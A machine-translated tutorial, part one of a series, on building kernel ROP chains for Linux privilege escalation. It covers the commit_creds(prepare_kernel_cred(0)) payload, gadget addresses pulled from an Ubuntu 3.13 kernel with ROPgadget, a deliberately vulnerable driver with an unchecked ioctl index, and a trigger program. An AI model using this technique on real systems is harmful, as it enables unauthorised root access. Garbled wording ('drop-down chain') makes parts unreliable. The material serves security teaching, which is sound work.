Explanation of the Linux kernel drop position (1)
Return-oriented programming is a new type of attacks based on code reuse technology. Attackers can extract command fragments from existing libraries or executable files and construct malicious code.
Kernel ROP
Kernel ROP is an effective technique used to combine non-executable storage region bypass restrictions. For example, ROP proposed a practical approach on the latest Intel processor to bypass kernel and user address separation mitigation (such as SMEP Supervisor Mode execution protection Management to implement protection.
The purpose of this tutorial is to demonstrate how to use the kernel drop-down chain structure to enhance user permissions. Whether the result is successful depends on whether the following conditions are met:
Data that carries out a permission upgrade payload resident in the user space may be referenced (for example, "fetching" data from the user space is allowed) commands residing in the user space may not be executed
In a typical ret2usr attack, the internal medicine execution flow is redirected to a user space address that includes a permission escalation payload:
void __attribute__((regparm(3))) payload() { commit_creds(prepare_kernel_cred(0);}
A new credential structure (uid = 0, gid = 0, etc.) will be assigned to the above-mentioned Privilege Escalation payload and applied to the calling process. We can build a drop-down chain that does not need to execute any structure residing in the user space to perform the above operations, for example, it can perform the preceding operations without setting a program counter for any user space memory address. The ultimate goal is to use a drop-down chain to execute the entire permission in the kernel space to increase the payload. But in practice, it may not be necessary. For example, to bypass SMEP, a drop-down chain can be used to flip smep, and then a standard permission escalation load can be executed in the user space.
The drop-down chain based on the above payload should look very similar to the following:
Using the x86_64 call Convention, the first parameter of the function is passed into the % rdi register. Therefore, the first command in the drop-down chain pops up from the null value stack. The value is passed to prepare_kernel_cred () as the first parameter (). A new cred structure is stored in % rax, and then moved to % rdi again. Then, it is passed to commit_creds () as the first parameter (). At present, we intentionally ignore some details that are returned to the user space once the creden。 are applied. We will discuss these details in detail in tutorial (2.
In this section, we will discuss how to find useful gadgets and establish a permission to enhance the drop-down chain. Then we will see a vulnerable driver code that will prove the practicality of the drop-down chain.
Test System
This tutorial uses Ubuntu 12.04.5 LTS (x64) with the following kernel for testing:
vnik@ubuntu:~$ uname -aLinux ubuntu 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:51:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
If you want to learn and use the same kernel, all the addresses of the ROP gadgets should be the same as what I currently use.
Gadgets
Like a user space application, ROPgadgets can be extracted from the kernel binary file. However, we also need to consider the following points:
We need the ELF (vmlinux) image to extract the gadgets. If we use the/boot/vmlinuz * image, it needs to be decompressed first, and then a tool that does not use the design to extract the ROP gadgets is the first choice. /Boot/vmlinuz * is a compressed kernel image (using different compression algorithms ). It can be extracted by using the extract-vmlinux script.
vnik@ubuntu:~$ sudo file /boot/vmlinuz-4.2.0-16-generic /boot/vmlinuz-4.2.0-16-generic: Linux kernel x86 boot executable bzImage, version 4.2.0-16-generic (buildd@lcy01-07) #19-Ubuntu SMP Thu Oct 8 15:, RO-rootFS, swap_dev 0x6, Normal VGAvnik@ubuntu:~$ sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinuxvnik@ubuntu:~$ file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=0x32143d561875c4e5f3229003aca99c880e2bedb2, stripped
The drop-down technique uses the advantages of code dislocation to determine the new gadgets. The language density of x86 makes this method possible. For example, if the x86 execution set is large enough (the instruction has different lengths), any byte sequence can be interpreted as a valid instruction. For example, the following commands have different interpretations based on the offset:
0f 94 c3; sete %bl 94 c3; xchg eax, esp; ret
You only need to run objdump for the compressed kernel image, and then grepping will get a small part of the available gadgets (because we only use the address ). It is worth mentioning that in most cases, this is enough to find the desired gadgets.
A more effective method is to use a specific tool to identify the gadgets in the ELF binary. For example, ROPgadget is a great tool that can be used to identify all the gadgets:
vnik@ubuntu:~/ROPgadget$ ./ROPgadget.py --binary ./vmlinux > ~/ropgadget vnik@ubuntu:~/ROPgadget$ tail ~/ropgadget Gadgets information============================================================0xffffffff810c108c : adc ah, ah ; add byte ptr [rax - 0x77], cl ; ret0xffffffff81054c3a : adc ah, ah ; xor al, byte ptr [rax] ; pop rbp ; ret0xffffffff815abb0a : adc ah, al ; lcall ptr [rbx + 0x41] ; pop rsp ; xor eax, eax ; pop rbp ; ret0xffffffff81b0d595 : adc ah, al ; ljmp ptr [rcx + rax*4 - 9] ; call rax0xffffffff8112fc05 : adc ah, bh ; add byte ptr [rax - 0x77], cl ; in eax, 0x5d ; ret0xffffffff811965e9 : adc ah, bh ; lcall ptr [rbx + 0x41] ; pop rsp ; xor eax, eax ; pop rbp ; ret0xffffffff81495bba : adc ah, bh ; mov esi, 0xc7c748ff ; loopne 0xffffffff81495c47 ; retf -0x177f0xffffffff8158fb9a : adc ah, bl ; loopne 0xffffffff8158fba4 ; xor eax, eax ; pop rbp ; re
Note that ROPgadget requires intel syntax. Now we can use ROPgadget to search for the items listed in the TOP-right chain. The first gadget we need is pop % rdi; ret:
vnik@ubuntu:~$ grep ': pop rdi ; ret' ropgadget 0xffffffff810c9ebd : pop rdi ; ret <--- our first gadget0xffffffff819b4827 : pop rdi ; ret 0x10b40xffffffff819c5f80 : pop rdi ; ret 0x1610xffffffff819a08f2 : pop rdi ; ret 0x2eb40xffffffff8184806c : pop rdi ; ret 0x40a30xffffffff81a23854 : pop rdi ; ret 0x5b40xffffffff81952077 : pop rdi ; ret 0x6576...
Any current gadgets can be used. However, if we are sure to use the gadgets that are followed by ret [some_num], we need to build the corresponding ROP chain, considering that the stack pointer will be [some_num] progressively increasing (remember that the stack will grow toward a lower memory address ). We will explain it in Part2. Note that a gadget may be located on a non-execution page. In this case, you must find a replacement gadget.
The gadgets mov % rax, % rdi ret does not exist in the test kernel. But here are several of their gadgets:
0xffffffff8143ae19 : mov rdi, rax ; call r120xffffffff81636240 : mov rdi, rax ; call r140xffffffff811b22c2 : mov rdi, rax ; call r150xffffffff810d7f63 : mov rdi, rax ; call r80xffffffff81184c73 : mov rdi, rax ; call r90xffffffff815b4593 : mov rdi, rax ; call rbx0xffffffff810d805d : mov rdi, rax ; call rcx0xffffffff81036b70 : mov rdi, rax ; call rdx <--- our gadget
... We can load the commit_creds () Address and enter % rbx to adjust our initial drop chain to adapt to the call command. The call execution will next execute commit_creds () with % rdi pointing to our new "root" cred structure.
Execute the above drop-down chain and upgrade the permissions of the current root process.
Fragile drivers
To simplify the development process and prove the practicality of the kernel drop-down chain, we have developed the following vulnerable drivers:
struct drv_req { unsigned long offset;};...static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { struct drv_req *req; void (*fn)(void); switch(cmd) { case 0: req = (struct drv_req *)args; printk(KERN_INFO "size = %lx\n", req->offset); printk(KERN_INFO "fn is at %p\n", &ops[req->offset]); fn = &ops[req->offset]; [1] fn(); break; default: break; } return 0;}
No boundary check is performed for the array in [1. The offset provided by the user is large enough to access any memory address in the user space or kernel space.
The driver registers the/dev/vulndra device during loading and prints the ops array address:
vnik@ubuntu:~/kernel_rop$ make && sudo insmod ./drv.komake -C /lib/modules/3.13.0-32-generic/build M=/home/vnik/kernel_rop modulesmake[1]: Entering directory `/usr/src/linux-headers-3.13.0-32-generic' Building modules, stage 2. MODPOST 1 modulesmake[1]: Leaving directory `/usr/src/linux-headers-3.13.0-32-generic'[sudo] password for vnik: vnik@ubuntu:~/kernel_rop$ dmesg | tail[ 1876.256007] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None[ 1878.259739] e1000: eth0 NIC Link is Down[ 1884.274250] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None[ 3325.908438] drv: module verification failed: signature and/or required key missing - tainting kernel[ 3325.909211] addr(ops) = ffffffffa0253340
We can use ioctl from the user space to reach the vulnerability path:
vnik@ubuntu:~/kernel_rop/vulndrv$ sudo chmod a+r /dev/vulndrv vnik@ubuntu:~/kernel_rop/vulndrv$ ./trigger [offset]
The trigger source code is as follows:
#define DEVICE_PATH "/dev/vulndrv"...int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0;}
By providing a pre-calculated offset, the storage addresses in any kernel space can be executed. We can direct fn () to the mmap user space storage address (including the permission escalation payload), but remember the original requirement that commands residing in the user space should not be executed.
We need a way to redirect kernel execution to our drop-down chain without executing any user space commands. We will explain in detail in Part2.
Please wait for the second part!
The kernel driver source code and user space trigger program have been released on github.